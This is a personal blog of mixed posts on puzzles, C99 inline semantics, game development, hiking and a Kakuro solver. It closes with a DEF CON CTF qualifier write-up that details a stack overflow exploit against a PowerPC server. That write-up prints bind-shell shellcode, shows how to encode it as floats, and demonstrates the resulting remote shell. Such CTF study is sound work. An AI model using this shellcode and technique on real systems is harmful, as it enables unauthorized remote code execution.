The Spoony Blog

On Saturday the 23rd (just over a week from now), I’ll be participating in my first ever crossword puzzle tournament, the Boston Crossword Puzzle Tournament. I don’t expect to come close to winning; it’s mostly just for fun. Hopefully I’ll meet some neat people there.

In the distant past, I’d been a very occasional crossword solver. I only ever did the weekday Boston Globe puzzles (which are syndicated from the Universal Crossword), and not with any regularity. Like most solvers, I was pretty bad at them for a while, what with not knowing common crosswordese and tons of bygone pop culture, but I slowly improved over time.

Over the past couple of years, I’ve been solving puzzles more regularly and getting better. I now regularly solve the Universal Crossword and the New York Times crossword. The Universal I can almost always completely solve (sometimes I need to Google one or two things if there happens to be two obscure answers crossing each other that I don’t know). I’ve gotten my times down to about 4-6 minutes or so on average, and my best time is 3:19.

The NYT, on the other hand, is still a huge learning experience for me. Those puzzles increase in difficulty through the week, with Monday’s puzzle being the easiest and Saturday’s being the hardest. Sunday is special, in that it’s usually on about the level of a Thursday puzzle, but much larger—21×21 instead of 15×15.

Monday puzzles solve like Universal puzzles for me; Tuesday puzzles nearly so, but they’re slower and take more thinking. A Wednesday puzzle I can finish about 2/3 of the time and get about 80% of the puzzle the other 1/3 of the time. Thursday and Sunday puzzles I can fill in about half of on average before resorting to Google and Wikipedia. Friday and Saturday puzzles are absolute nightmares—I can rarely get more than a small handful of clues without turning to the Internet, and even then, the difficult cluing makes them quite the challenge. But armed with my arsenal of Google, Wikipedia, grep, One Across, OneLook, and more, even the mighty Saturday puzzles fall within an hour or so.

I’ve also been participating in Matt Gaffney’s Weekly Crossword Contest for the past couple of months, ever since I found out about it from reading Rex Parker’s blog (who does an awesome writeup of every day’s NYT puzzle). Matt’s puzzles are a lot like the puzzles from the MIT Mystery Hunt. Each week’s crossword contains in it some hidden word or phrase that is the answer to the puzzle. The extraction mechanisms are different in every puzzle, so figuring them out is a real challenge. If you’re not familiar with Mystery Hunt-style puzzles, go check out Matt’s blog for examples of how previous puzzles have worked. I highly recommend solving his puzzles if you’re at all into crosswords or the Mystery Hunt (and doubly so if you’re into both).

The Saturday of the weekend after the Boston Crossword Puzzle Tournament is DASH3 (Different Area—Same Hunt), a Mystery Hunt-like competition that takes place in parallel in multiple cities across the country. Another highly recommended event for avid puzzlers. I’ll be competing in the Boston edition.

There’s not really a punchline to this post, it’s more just my musings on puzzles. Did I mention I like puzzles?

Try to compile the following simple C program in C99 mode with GCC:

inline void foo() {}
int main(void)
{
  foo();
}

The results may surprise you:

$ gcc test.c -std=c99
/tmp/ccWN4GRh.o: In function `main':
test.c:(.text+0xa): undefined reference to `foo'
collect2: ld returned 1 exit status

Huh? The function’s right there!

Well it turns out that this is not a bug in GCC, but a peculiarity in the way the inline keyword is defined by the C99 standard. Basically, a function declared inline without either of the extern or static linkage specifiers only creates an inline definition of that function, not an external definition.

When presented with a call to such a function, the compiler can choose to call either the inline definition or the external definition. If it chooses the external definition, and such an external definition doesn’t exist, we get a linker error, as in the above example. In the dry words of the standard:

ISO/IEC 9899:1999 §6.7.4/6:

Any function with internal linkage can be an inline function. For a function with external linkage, the following restrictions apply: If a function is declared with an inline function specifier, then it shall also be defined in the same translation unit. If all of the file scope declarations for a function in a translation unit include the inline function specifier without extern, then the definition in that translation unit is an inline definition. An inline definition does not provide an external definition for the function, and does not forbid an external definition in another translation unit. An inline definition provides an alternative to an external definition, which a translator may use to implement any call to the function in the same translation unit. It is unspecified whether a call to the function uses the inline definition or the external definition.¹²⁰⁾

So there are three ways to fix this code:

1. Give foo internal linkage (by declaring it static) and avoid the above clause entirely
2. Declare foo as extern
3. Provide a separate external definition for foo in another translation unit (that is, another source file)

I would strongly recommend against solution #3, since then your code base will have two separate definitions of foo, which will be very confusing for people reading your code. It’s very easy for them to get out of sync, if somebody changes one definition but forgets to change the other, which makes for some insidious bugs (such as working correctly in a debug build but not in a release build, or vice-versa).

If your inline function is defined and used only in one source file (as in our toy example), solution #1 is the way to go: just give it internal linkage. No reason to make it world-accessible.

Conversely, if your inline function is defined in a header file so it can be used throughout your code, it makes more sense to give it external linkage. Go with solution #2:

extern inline void foo() { /* body */ }

This past Tuesday, February 1, marked the release of my 3rd Rock Band track pack and my 4th Rock Band title overall:

The sequel to the hit game Rock Band Country Track Pack, Country Track Pack 2 brings you such songs as Dwight Yoakam’s country rap “Intentional Heartache” that involves spraying various things neon green:

At one point during development, we had a bug relating to the scoring of the “talky” vocal parts of that song beginning around 2:55. So unlike most other bugs, we couldn’t use autoplay for testing and debugging—we actually had to sing. Normally this isn’t a problem for our QA team, who sat in a different room (they got to be really good at singing the songs in the game), but for the developers, it was a whole different story. The lyrics to the song are so ridiculous (if you haven’t watched the video above, you really should), that every time we picked up the mic to test something, it brought the productivity of everyone else in the room (including much of the Shoot Many Robots team) to a screeching halt.

Another interesting thing to note is that while all of the previous track packs have shipped on the PlayStation 2, this was the first track pack not to do so; it only shipped on the PlayStation 3, Wii, and Xbox 360. I don’t know why that decision was made, since the game is based on the original Rock Band 1 engine, which runs just fine on the PS2. My guess is that the PS2 sales of the previous track packs were so low that the revenue from that platform did not outweigh the cost of licensing, manufacturing, and distributing it, but that is purely speculation.

With 3 track packs under Demiurge’s belt, I cannot comment on whether or not any further track packs are in development. I can neither confirm nor deny the existence of Rock Band Metal Track Pack 2, Rock Band Country Track Pack 3, Green Day: Rock Band 2, Rock Band Emo Track Pack, Rock Band Japanese Hip-Hop Track Pack, or Rock Band Alternative Punk Acid Black Death Metal Calypso Pop Extreme Edition Track Pack.

I think the title of Demiurge Studio’s new game speaks for itself:

Ok, so that teaser trailer only raises more questions than it answers, but rest assured that this game will involve the shooting of many robots. Many many many robots.

Check out IGN for an interview with studio director Al Reed and the official website, and follow us on Twitter to keep up-to-date on all of the latest news on Shoot Many Robots.

I recently ran into a very strange occurrence on my Windows box: an unkillable window. I was rebooting after installing some software that required a reboot (*sigh*) and noticed that the restart didn’t quite happen—most of my processes were killed, but there was this leftover window that wouldn’t go away. Further attempts to reboot did not result in any obvious effect, and the window refused to be closed by any normal method (though it happily moved around).

I also couldn’t start any new processes (such as a debugger); Windows wouldn’t let me because the system was shutting down. Oof. Fortunately, I did have a copy of Process Explorer already running. Process Explorer has a nifty tool where you can drag this icon (the circle-cross icon adjacent to the binoculars) onto any window, and it will tell you what process that window belongs to. I assume it uses GetWindowThreadProcessId(). However, doing this gave a curious error, something like “this window does not belong to any process”; I forget the exact wording since I didn’t write it down.

At this point, I was ready to pull the plug, but I decided to try one more thing—I started killing processes willy-nilly. When I killed services.exe, Windows got kinda upset and told me that it would be shutting down in 60 seconds because a critical process was killed, which was perfectly fine with me. But 60 seconds passed by, and Windows still did not shut down. I then killed winlogon.exe, which promptly BSOD‘ed me.

I don’t remember exactly what I did to create the unkillable window, but it went something like this: I was simultaneously debugging two copies of a particular executable, one with Visual Studio 2008 and one with WinDbg. I also at one point set the Image File Execution Options debugger key for that executable to point to vsjitdebugger.exe, and I may have deleted that registry key during my debugging sessions. The unkillable window was the console window from the debuggee of one of those debugging sessions (not sure which), and it somehow persisted after killing the debugger.

Does anyone have any ideas on what exactly can cause such an unkillable window not owned by any process to appear? And if it does appear, how can it be killed without hard rebooting? It’s too bad Raymond Chen‘s suggestion box is closed, otherwise this would be going right in there. Raymond, if you’re out there, your input would have greatly appreciated on this matter.

I recently took some time off work to go hiking in the White Mountains of New Hampshire. Specifically, I decided to tackle a section of the Appalachian Trail, between Franconia Notch and Mount Washington, along with my good friend Pete Kruskall. Or at least that’s what the original plan was.

Day 0, Thursday, 7/15: 0.0 miles hiked

First, some backstory. I’ve done plenty of day hikes (in both summer and winter), and one two-day hike, but before this, I hadn’t ever done any really serious multi-day hiking trips. I’ve done some serious bike touring, including A Thousand Miles, and I have plenty of experience camping in living in the back country. But since this was the first serious trip I was planning entirely on my own, I was missing some important gear; so I decided to rent said gear from the MIT Outing Club.

One of the items I rented was an MSR XGK Expedition camping stove (which I think is no longer in production, since I can’t seem to find it on MSR’s site). When I brought it home, I discovered that the fuel can that came with it was for a different type of stove, and so it was useless. By that time, MITOC’s offices were closed, and I was supposed to get on the bus the next morning up to Lincoln, NH. The morning bus left before any useful stores in the Boston area would be open, and the afternoon bus left far too late to be useful. I scoured the web but couldn’t find any stores in Lincoln that definitively carried MSR fuel cans (it’s possible they exist, but the websites of the potentially useful stores did not indicate that).

Day 1, Friday, 7/16: 6.0 miles hiked

Time for Plan B. Pete has a car, but his car was not in Boston. It took two train rides on the T, a bus transfer, and a taxi ride, but we eventually made it to his car and began driving up to New Hampshire. I also got a crash course (not literally) in driving stick shift. We stopped by at Plymouth Ski & Sports to pick up some MSR fuel and grabbed a late lunch at a nearby café.

The original plan was to start from Franconia Notch and hike up the Old Bridle Path to the summit of Mount Lafayette, and then along Franconia Ridge to the Garfield Ridge Shelter, which would have been about 7.9 miles. But because of the late start, we decided to go up the Gale River Trail instead and hike backwards 2.0 miles along the AT to the shelter. We chose the Gale River Trail over the Garfield Ridge Trail because at that point, we intended to finish at Pinkham Notch and take the AMC Hiker Shuttle back to the trailhead where we’d parked. That didn’t quite end up happening, as you’ll shortly see.

We finally got on trail about 3:15 pm and hiked the 6.0 miles up to the shelter without too much trouble. Next up was dinner, which proved to be trickier than anticipated, despite now having the correct type of fuel for the stove. Upon setting up the stove, we discovered that the pump was leaking fuel since it was missing an O-ring. Not good. Fortunately, the cap of the fuel tank I bought came with an O-ring, so I transferred that over to the pump and got the stove going. The next problem was that the stove kept petering out—it needed to be continually pumped every minute or so to keep the flame going. It was punishing, but we finally got some boiling water, made dinner, and went to sleep.

Day 2, Saturday 7/17: 6.2 miles hiked

Day 2 was on the short side, despite the much more reasonable start time of 8:50 am. This was due to the locations of shelters: our options were to (a) stop early at the Guyot Shelter, (b) shell out $97 to stay at the Zealand Falls Hut (if there was even space available, which I doubt), (c) hoof it out to the Ethan Pond Shelter, or (d) set up tent in a stealth camping site off-trail if we can find one. We opted for (a).

Nothing too eventful happened this day; we stopped for lunch at the Galehead Hut, hiked a steep 0.8 miles up the summit of South Twin Mountain, and then made it into the shelter nice and early around 3:30 pm. It was good we got there early, since Friday and Saturday nights are the busiest—overall 46 people were staying at the shelter/campsite, and it was getting pretty crowded at the end. The record there is apparently 94 people; that must have been one unpleasant night.

The nearby Mount Bond (which I’m sad to report I didn’t summit) has the interesting property that it’s just about the farthest point from civilization in the area there known as the Pemigewasset Wilderness. According to some folks I met at the Guyot Shelter, you can see for miles and miles in all directions without seeing any signs of human civilization: no towns, no roads, no nothing. Oh well, I’m sure I’ll make it back there some other time.

Day 3, Sunday 7/18: 9.8 miles hiked

Day 3 was much more of an adventure. We again got a good early start around 8:15 am and hiked along the Zealand Ridge Trail to the Zealand Falls Hut, where we refilled on water and had a nice leisurely lunch. Unfortunately, Pete was not feeling too well, and we decided to split up here. He passed on to me the tent he was carrying (just when I thought my pack had been getting lighter from less food) and hiked down the Zealand Trail to the trailhead there. He got a ride back to the main road and then to his car back at the Gale River trailhead, after which he went and stayed with some nearby relatives.

I continued on down the Ethan Pond Trail, which was a nice and flat 5.0 miles that flew by; I’m told that that part of the trail used to be an old logging railroad. I made it down to the Ethan Pond Shelter at a reasonable hour in the afternoon and chatted with SoBo (southbounder) thru-hiker Wasabi; he was just stopping by and was intending to end his day at either the Zealand Falls Hut or the Guyot Shelter, I forget which. Later on I was joined in the shelter by SoBo Pneumonia (take a guess what disease he contracted on a previous attempt at hiking the AT) and the pair of SoBos Monkey and Giggles.

Day 4, Monday 7/19: 9.3 miles hiked

Another day, another reasonable start at 8:20. I easily hiked the 2.9 miles down to Route 302 and found my first instance of trail magic! Waiting at the trailhead was a very nice gentleman with a cooler full of free snacks and drinks for thru-hikers. I stopped to chat with him for a bit and helped myself to a Pepsi (I didn’t want to take very much since I wasn’t hiking the entire trail; whether or not I even deserved the Pepsi is arguable). I then hung out for a bit to wait for Pete to show up—we’d agreed to meet up here, in case I’d needed to bail out for whatever reason. We chatted a bit, and then the rain started rolling in. I waited in his car a bit to see if it would pass, but it didn’t.

So, he drove off, and I started heading back up the Webster Cliff Trail on the other side of the highway. The trail here was fairly steep in some places, and I found myself having to scramble up some rocks on all fours. In the rain. With 40 pounds on my back. And I kept tripping over my rain poncho. It was not very pleasant here, but I kept going. The rain finally let up shortly after I reached the summit of Mount Jackson (actually named after geologist Charles Thomas Jackson, not Andrew Jackson, despite being in the Presidential Range).

I pressed onwards and ended my day at the Mizpah Spring Hut/Nauman Campsite. For some reason, the name Mizpah always makes me think of the Hebrew word mitzvah, meaning a good deed.

Day 5, Tuesday 7/20: 10.3 miles hiked

This was the big, awesome day: hiking through a good chunk of the Presidential Range, with spectacular views throughout. There was a lot of fog rolling in over the mountains, so the view came and went, but for the most part it was good. I decided to go off of the AT to bag Mount Eisenhower and Mount Monroe, which the AT goes around, so technically I didn’t hike two short sections of 0.8 miles or so of the AT, but whatever. I have plenty of time to come back and hike those sections if I decide to section hike the entire trail.

Lunch this time was at the Lakes of the Clouds Hut, the highest of the High Huts (for those keeping score, that’s 3 days of stopping at a Hut for lunch). I climbed up the last 1.6 rocky miles up the Crawford Path to the summit of Mount Washington. There I met up again with Pete, who hiked up the Tuckerman Ravine Trail from Pinkham Notch for the day. Fortunately we found each other easily, since I found that I couldn’t get a cell phone signal anywhere on the summit, despite having 2-3 bars in various places. We grabbed some food, rested up for a bit, and then headed down the Lion Head Trail back down to Pinkham Notch.

Just as we were coming down one the start of the steep section of the trail, it started raining. It was probably not the wisest of decisions to head down the Lion Head Trail—if we’d headed down through Tuckerman’s, we’d probably have been done or close to done with the steep section by the time the rain started, and Lion Head is steeper in places than Tuckerman’s. [Side note: a hiker had slipped and died on Tuckerman’s just days before we were there; that kind of news travels fast among hikers in the area].

We survived the rain, made it down to Pinkham Notch, and then drove back to Boston.

It was an exhausting but thrilling experience. For those readers who made it this far, enjoy the photos. Sorry about the purple tint at the top of all of them, there’s something wrong with my camera that I didn’t discover until I saw these, and my Photoshop®-fu is not good enough to try to fix it.

Maybe some day I’ll hike the entire AT. I’d rather thru-hike it than section-hike it, but I don’t know how I’ll get 5–7 months or so off from work. So for now, it’s just a very distant goal. My friend Jeff Walden thru-hiked it immediately after we graduated from MIT in 2008—that was a great idea for him to hike it after finishing school but before starting full-time work. I’d also like to do a cross-country bike trip some time, but again that takes so much time (though substantially less than 5–7 months) that I don’t know when it will happen.

I don’t have a trail name yet, but I’m thinking about taking on the name “Fuel Can”, “Fuel Cell”, or something like that, after the stove fiasco. What do you guys think?

Oh, and the 29.9 miles in the title is the total distance I hiked on the AT, not including the 4.0 miles going up the Gale RIver Trail, the 4.2 miles going down the Lion Head Trail, or the various campsite spurs, and pretending I didn’t take take side trips up Mount Eisenhower and Mount Monroe. The 29.9 comes from this handy-dandy distance calculator, using the Garfield Ridge Shelter and Mount Washington as endpoints. 1.4% down, 98.6% to go!

Kakuro (also known as Cross Sums) is a popular number-based logic puzzle. It resembles crossword puzzles, except instead of clues made up of words, you have clues made up of numbers indicating the sum of the digits in the indicated cells, with the additional constraint that no entry contain the same digit more than once.

The MIT Mystery Hunt is no stranger to Kakuros. It has featured a number of Kakuro variants over the years, most of which often involve some special trick or gimmick not present in a standard Kakuro puzzle. Of course, figuring that out is part of the puzzle.

The 2009 Hunt featured an intriguing puzzle named Cross Something-Or-Others, by Thomas Snyder and Dan Katz. It had 8 different Kakuro variants (Nonsense Kakuro does not count). After the Hunt was over, I decided to write a generic, optimized Kakuro solver that could solve all of these variants for help with future Hunts. Although I did not get to use my solver during the 2010 Hunt (I missed whatever Kakuros there were, if there were any at all), I hope this will be useful for puzzle solvers present and future.

There are many other solvers out there (and more), but none of them were adequate enough for me. They all had various issues: some had no source code (making solving variants impossible), they had a horrendous interface for inputting puzzles, they weren’t portable enough, or they were too slow.

Actually, I probably could have gone with zvrba’s solver and modified it, but I decided to start from scratch anyways. “There are many like it, but this one is mine”, as the saying goes.

So anyways, back to my solver. I wrote it from the ground up to be blazing fast. It stores the set of possible values a cell can have using a bit set, and it uses some inline assembly (specifically the x86’s BSF and BSR instructions). So, it’s not completely portable out-of-the-box, but those can be replaced easily enough with generic C routines that will be slower, or the equivalent instructions on other ISAs. It also uses the pthreads library for multithreading. If you want to compile it for a platform that does not support pthreads (such as Windows), you can either replace pthreads with your platform’s equivalent, or nuke the threading support entirely. But other than those two things, the program is completely portable C.

Secondly, I also designed the solver to be as generic as possible, in order to be able to solve (or be modified to solve) as many different Kakuro variants as possible. The most flexible piece is the set of allowable numbers in a cell. In standard Kakuro, that set of numbers is 1–9. Common variants include allowing 0, or changing the base to make something like hexadecimal Kakuro (1–15). My solver allows any subset of the numbers 0–30; it could easily be modified to use a subset of 0–63, but I haven’t bothered with that yet, since extending that support might slow it down a little (probably not very much though) on 32-bit machines, and I’ve never seen a puzzle that uses cells with numbers that large.

I also coded up modifications to solve most of the variants in the puzzles linked to above. Again, for maximal speed, the logic in these variants is controlled by various #defines, producing separate binaries for each of them.

So how does it work? Under the hood, it’s got one simple rule, followed by a brute-force search. That one rule is:

• The minimum possible value for a cell is given by the total sum of the numbers in the entry (the clue) minus the sum of the maximum possible values of all of the other cells in the entry
• The maximum possible value for a cell is given by the total sum minus the sum of the minimum possible values of all of the other cells in the entry

It turns out that this is often all you need, especially for simple puzzles. This does not try to enumerate all possible sets of values for an entry—in other words, for a 2-cell clue with a sum of 4, it does not deduce that 2 is not a possible value for either cell. It only determines that 1–3 are legal values, since that is 4 (the sum) minus 1 (the minimum value for the other cell).

It also performs other logic which I consider so obvious that it shouldn’t need stating, but here it is anyways: if a cell can only contain one number, then all other cells in the two entries that go through that cell cannot take on that value.

It repeats this logic for every cell for every clue in both the across and down directions as long as it continues to make progress by eliminating numbers as possible values for cells. If you’re lucky, it might solve the entire puzzle this way (this is very fast). If you’re not so lucky, it starts a brute-force depth-first search of the entire remaining puzzle space and attempts to enumerate all possible solutions.

The brute-force search isn’t a dumb search, though. It picks one cell, iterates through all possible allowed values for that cell, and recurses. The cell that it picks is one that belongs to the entry that has the fewest possible total values, which is computed as the product of the number of values of each cell in that entry; once the entry is determined, the first cell with more than one possible value is used. The idea here is that for incorrect guesses (which most are), we want to reach a contradiction as quickly as possible, which we try to do by picking an entry with a small number of possibilities. In my tests, this usually seems to give vastly better results, but not always, when compared to just picking the first cell that can have multiple values.

Ok, enough with the discussion, you’ve been patient enough. You can download my Kakuro solver’s source code here. It’s licensed under the GPL version 3 or later. Comments are most welcome!

This past weekend, I participated in my first ever DEF CON Capture the Flag Qualifying Tournament. CTF is a contest at the aforementioned annual hacker conference where the goal is to keep your team’s network services (which are on a closed intranet) up and running for as much as possible, while simultaneously trying to bring down your opponents’ network services. The qualifying tournament is an open tournament to determine the special few who will get to play CTF.

The categories in this year’s quals were Persuits Trivial, Crypto Badness, Packet Madness, Binary L33tness, Pwtent Pwnables, and Forensics, laid out in a Jeopardy!-style grid. There were 5 challenges in each category, worth 100 through 500 points respectively. I spent a fair amount of time working on Pwtent Pwnables (note that this contest was a team contest), and though I didn’t solve it during the contest, I managed to get a working exploit after the contest ended. Here’s a writeup of my work.

For this problem, you’re given this file and told that it’s running on pwnie.ddtek.biz. Go.

A quick file(1) says that this is a Mach-O executable ppc. strings(1) suggests that it’s binding to a port and listening on a socket. It receives some floating-point numbers, computes the average and standard deviation of those numbers, and sends the results back. The text includes “max of 16”, suggesting an obvious buffer overflow attack.

Let’s take a look at the disassembly and see what we can figure out. Fire up objdump, part of the binutils distribution:

$ objdump -d pp400_8c9d628d2144bbe8b.bin -s > pp400.s

Hmm. Not a lot to work with here. No symbols, and the convoluted dynamic linking makes it extremely difficult to even see what the calls to dynamically linked functions are. Here’s what the stub for calling fork(2) looks like:

    3d80:   7c 08 02 a6     mflr    r0
    3d84:   42 9f 00 05     bcl-    20,4*cr7+so,3d88 
    3d88:   7d 68 02 a6     mflr    r11
    3d8c:   3d 6b 00 00     addis   r11,r11,0
    3d90:   7c 08 03 a6     mtlr    r0
    3d94:   85 8b 03 18     lwzu    r12,792(r11)
    3d98:   7d 89 03 a6     mtctr   r12
    3d9c:   4e 80 04 20     bctr

Can you tell that’s a fork? I sure can’t. The bcl grabs the current instruction address (0x3d88), and then after some bookkeeping, the value at address 0x3d88+0x792 is loaded and then branched to. The memory at 0x40a0 is in the data segment in a stream of .long 0x2428, which presumably get replaced at load time with the actual addresses of the dynamically linked functions. How exactly that works, though, is still a mystery to me.

Disassembling it isn’t all that helpful right now, so maybe we can try running it to figure out what it does. I don’t have a PowerPC Mac, but thanks to Rosetta, I can run the program seamlessly on my x86 Mac:

$ chmod a+x pp400_8c9d628d2144bbe8b.bin
$ ./pp400_8c9d628d2144bbe8b.bin
pp400_8c9d628d2144bbe8b.bin: drop_privs failed!
: Operation not permitted

Well drat. It looks like it’s trying to drop privileges (a standard procedure to minimize risk in socket-based applications), but it’s failing somehow. What’s it trying to do? Let’s see with ktrace (aside: DTrace is far superior to ktrace but only available on OS X v10.5 and up; if you’re still running 10.4 like I am, then ktrace is your best option).

$ ktrace ./pp400_8c9d628d2144bbe8b.bin
pp400_8c9d628d2144bbe8b.bin: drop_privs failed!
: Operation not permitted
$ kdump | less

Looking through the log, we see calls to socket(2), setsockopt(2), bind(2), and listen(2), a standard sequence for a simple server. The problem failure here is coming from a call to setgroups(2) and setgid():

  8972 pp400_8c9d628d21 CALL  setgroups(0x1,0xb7fff958)
  8972 pp400_8c9d628d21 RET   setgroups -1 errno 1 Operation not permitted
  8972 pp400_8c9d628d21 CALL  setgid(0x1f8)
  8972 pp400_8c9d628d21 RET   setgid -1 errno 1 Operation not permitted

Well hmph, I’m stumped. The man pages here (and yes I realize I’m mixing links to the Linux and OS X man pages; it doesn’t really matter, they say mostly the same things since this is all POSIX) say that setgroups() will only succeed if run as root, and setgid() can only do trivial things as non-root. I’m definitely not going to run this as root, and the contest server sure as hell won’t be running as root.

At this point, I cheated (sort of). I noticed that this program was doing essentially the same things as an earlier problem in the contest, namely pp100. That problem was a program which also ran a server of sorts, but it was an ELF for FreeBSD. The difference there was that it included some sort of symbols in it, so disassembling it was incredibly helpful: there were useful function names, and it was obvious which system calls were being made and where. And in that program, I noticed that it was grabbing a username (digger) out of the data segment and calling drop_privs_user() with that username.

Armed with that knowledge and taking another look at the data segment of pp400, we see the string “luser” near the beginning. That looks promising. So, create a new user on your Mac named luser and try again.

Nope, same error. Maybe if we try running the program as luser?

$ su luser
Password:
$ ./pp400_8c9d628d2144bbe8b.bin

Success! It’s now listening on a socket. But on what port? lsof(8) to the rescue!

lsof -i  # Must be run as luser (or as root)
COMMAND    PID  USER   FD   TYPE    DEVICE SIZE/OFF NODE NAME
pp400_8c9 9254 luser    4u  IPv4 0x689bc9c      0t0  TCP *:nettest (LISTEN)

It’s listening on the nettest port; if we grep for that in /etc/services, we find that that corresponds to port 4138. So let’s try that out:

telnet localhost 4138
Trying ::1...
telnet: connect to address ::1: Connection refused
Trying 127.0.0.1...
Connected to localhost.
Escape character is '^]'.
Send me some floats (max of 16), I will tell you some stats!
1 2 3^D
The average of your 3 numbers is 2.000000
The standard deviation of your 3 numbers is 0.816497
Connection closed by foreign host.

It took a bit of experimentation, but I eventually figured out that the server didn’t compute and return results unless you sent a literal ^D (EOF) character. Let’s send a gazillion numbers and see what happens:

$ python -c 'print " ".join(map(str, range(10000))), "\4"' | nc localhost 4138
Send me some floats (max of 16), I will tell you some stats!
$

Yep, it crashed all right. Now let’s exploit it. The first step is figuring out where in memory the buffer of floats is being stored. Normally we could just attach a debugger and figure it out, but debugging a process running Rosetta is not trivial. Fortunately, it is possible—a little googling leads one to this blog post and the Universal Binary Programming Guidelines, which detail the procedure. Run the binary with the OAH_GDB environment variable set, and then in another shell, run gdb --oah, attach to the process, and continue:

# First shell
$ OAH_GDB=YES ./pp400_8c9d628d2144bbe8b.bin
Starting Unix GDB Session
Listening

# Second shell (must be luser or root)
$ gdb --oah
(gdb) attach pp400_8c9d628d21.9453
(gdb) c

Unfortunately, it seems that the follow-fork-mode option for GDB does not work on OS X, so if you attempt to set it, you’ll find that you’re still attached to the parent process regardless of its setting. But fortunately, if the child process crashes, gdb still manages to halt when the crash occurs and inspect the program state. Run the earlier Python one-liner to crash the child process:

Program received signal SIGSEGV, Segmentation fault.
0x000033f8 in ?? ()
(gdb) disas $pc-20 $pc+20
Dump of assembler code from 0x33e4 to 0x340c:
0x000033e4:     lfs     f0,128(r30)
0x000033e8:     rlwinm  r2,r0,2,0,29
0x000033ec:     addi    r0,r30,56
0x000033f0:     add     r2,r2,r0
0x000033f4:     addi    r2,r2,8
0x000033f8:     stfs    f0,0(r2)
0x000033fc:     lwz     r2,60(r30)
0x00003400:     addi    r0,r2,1
0x00003404:     stw     r0,60(r30)
0x00003408:     addi    r0,r30,128
End of assembler dump.
(gdb) p/x $r2
$1 = 0xc0000000
(gdb) p/x $sp
$2 = 0xbffff400
(gdb) x/32x $r2-128
0xbfffff80:     0x44340000      0x44344000      0x44348000      0x4434c000
0xbfffff90:     0x44350000      0x44354000      0x44358000      0x4435c000
0xbfffffa0:     0x44360000      0x44364000      0x44368000      0x4436c000
0xbfffffb0:     0x44370000      0x44374000      0x44378000      0x4437c000
0xbfffffc0:     0x44380000      0x44384000      0x44388000      0x4438c000
0xbfffffd0:     0x44390000      0x44394000      0x44398000      0x4439c000
0xbfffffe0:     0x443a0000      0x443a4000      0x443a8000      0x443ac000
0xbffffff0:     0x443b0000      0x443b4000      0x443b8000      0x443bc000

What happened here is we walked off the stack: we just kept copying into the stack buffer all the way up the stack, which started at 0xbffffffc. We can clearly see the increasing set of floating-point numbers filling the end of the stack. Using this handy dandy IEEE 754 calculator, we see that 0x44340000 is the float 720, which means the buffer started at 0xbfffff80 – 720*4 = 0xbffff440, which at this point is $sp+0x40.

To exploit this now, we need to put our payload on the stack and then overwrite a return address with the proper stack address so we jump into the payload. We also can’t write more than about 751 numbers, since we’d crash before we got to the payload as we did just here, but fortunately this isn’t a problem.

Now let’s figure out in the payload the stack address needs to go. Restart the server, reattach gdb, and rerun the Python one-liner with only 100 numbers instead of 10000. The result:

Program received signal SIGSEGV, Segmentation fault.
0x41d00000 in ?? ()

The program counter ended up at 0x41d00000, which is the float 26. So, we need to place our pointer into the payload in the 27th number; the first 26 can be anything.

For the payload itself, start with the osx/ppc/shell_bind_tcp payload from Metasploit:

$ msfconsole
msf > use osx/ppc/shell_bind_tcp
msf payload(shell_bind_tcp) > generate -t c
/*
 * osx/ppc/shell_bind_tcp - 224 bytes
 * http://www.metasploit.com
 * AutoRunScript=, AppendExit=false, PrependSetresuid=false, 
 * InitialAutoRunScript=, PrependSetuid=false, LPORT=4444, 
 * RHOST=, PrependSetreuid=false
 */
unsigned char buf[] = 
"\x38\x60\x00\x02\x38\x80\x00\x01\x38\xa0\x00\x06\x38\x00\x00"
"\x61\x44\x00\x00\x02\x7c\x00\x02\x78\x7c\x7e\x1b\x78\x48\x00"
"\x00\x0d\x00\x02\x11\x5c\x00\x00\x00\x00\x7c\x88\x02\xa6\x38"
"\xa0\x00\x10\x38\x00\x00\x68\x7f\xc3\xf3\x78\x44\x00\x00\x02"
"\x7c\x00\x02\x78\x38\x00\x00\x6a\x7f\xc3\xf3\x78\x44\x00\x00"
"\x02\x7c\x00\x02\x78\x7f\xc3\xf3\x78\x38\x00\x00\x1e\x38\x80"
"\x00\x10\x90\x81\xff\xe8\x38\xa1\xff\xe8\x38\x81\xff\xf0\x44"
"\x00\x00\x02\x7c\x00\x02\x78\x7c\x7e\x1b\x78\x38\xa0\x00\x02"
"\x38\x00\x00\x5a\x7f\xc3\xf3\x78\x7c\xa4\x2b\x78\x44\x00\x00"
"\x02\x7c\x00\x02\x78\x38\xa5\xff\xff\x2c\x05\xff\xff\x40\x82"
"\xff\xe5\x38\x00\x00\x42\x44\x00\x00\x02\x7c\x00\x02\x78\x7c"
"\xa5\x2a\x79\x40\x82\xff\xfd\x7c\x68\x02\xa6\x38\x63\x00\x28"
"\x90\x61\xff\xf8\x90\xa1\xff\xfc\x38\x81\xff\xf8\x38\x00\x00"
"\x3b\x7c\x00\x04\xac\x44\x00\x00\x02\x7c\x00\x02\x78\x7f\xe0"
"\x00\x08\x2f\x62\x69\x6e\x2f\x63\x73\x68\x00\x00\x00\x00";

We can’t just send the payload as-is, though. We have to send it as floats which then get sscanf’ed into the raw binary. So we need to take the payload, group it into 4-byte units, convert those to floats, and print those out as strings, being careful that the resulting strings reconvert back properly. PowerPC instructions are fixed at 4 bytes, which is convenient in this case. I did that with this little C snippet:

void emit(unsigned int op)
{
  char buf[256];

  union
  {
    unsigned int op;
    float f;
  } u;

  float g;

  u.op = op;
  sprintf(buf, "%64.64f", u.f);
  if(sscanf(buf, "%f", &g) != 1 || g != u.f)
    printf("***BAD*** 0x%08x (%s)\n", u.op, buf);
  else
    printf("%s\n", buf);
}

Trying it out, we see a couple of the opcodes from the payload don’t encode properly: 7fc3f378 (mr r3,r30) and 7fe00008 (trap). Why? Well, these correspond to encodings of NaN. If you try and sscanf back the string “nan”, you’re not going to get those values back.

Time to bust out the Power ISA. Let’s find some instructions we can replace those with that encode properly. We want to avoid any instruction that begins with the bits 011111111 or 111111111. After some perusing through the opcode maps, I found that “addi r3,r30,0”, encoded as 387e0000, would be a suitable replacement for “mr r3,30”, and “twi 15,r0,0”, encoded as 0de00000, would be a suitable replacement for “trap”. The trap instruction isn’t actually necessary, it’s just a safety in case the system call to exec() to execute the shell fails, but I decided to replace it anyways.

Throw in a standard nop sled, and we’re done! Here’s the final exploit code. Run as:

$ ./pp400-exploit | nc localhost 4138
Send me some floats (max of 16), I will tell you some stats!
The average of your 148 numbers is inf
The standard deviation of your 148 numbers is inf

# Open up a new shell and connect to the bind shell
nc localhost 4444
id
uid=504(luser) gid=504(luser) groups=504(luser)
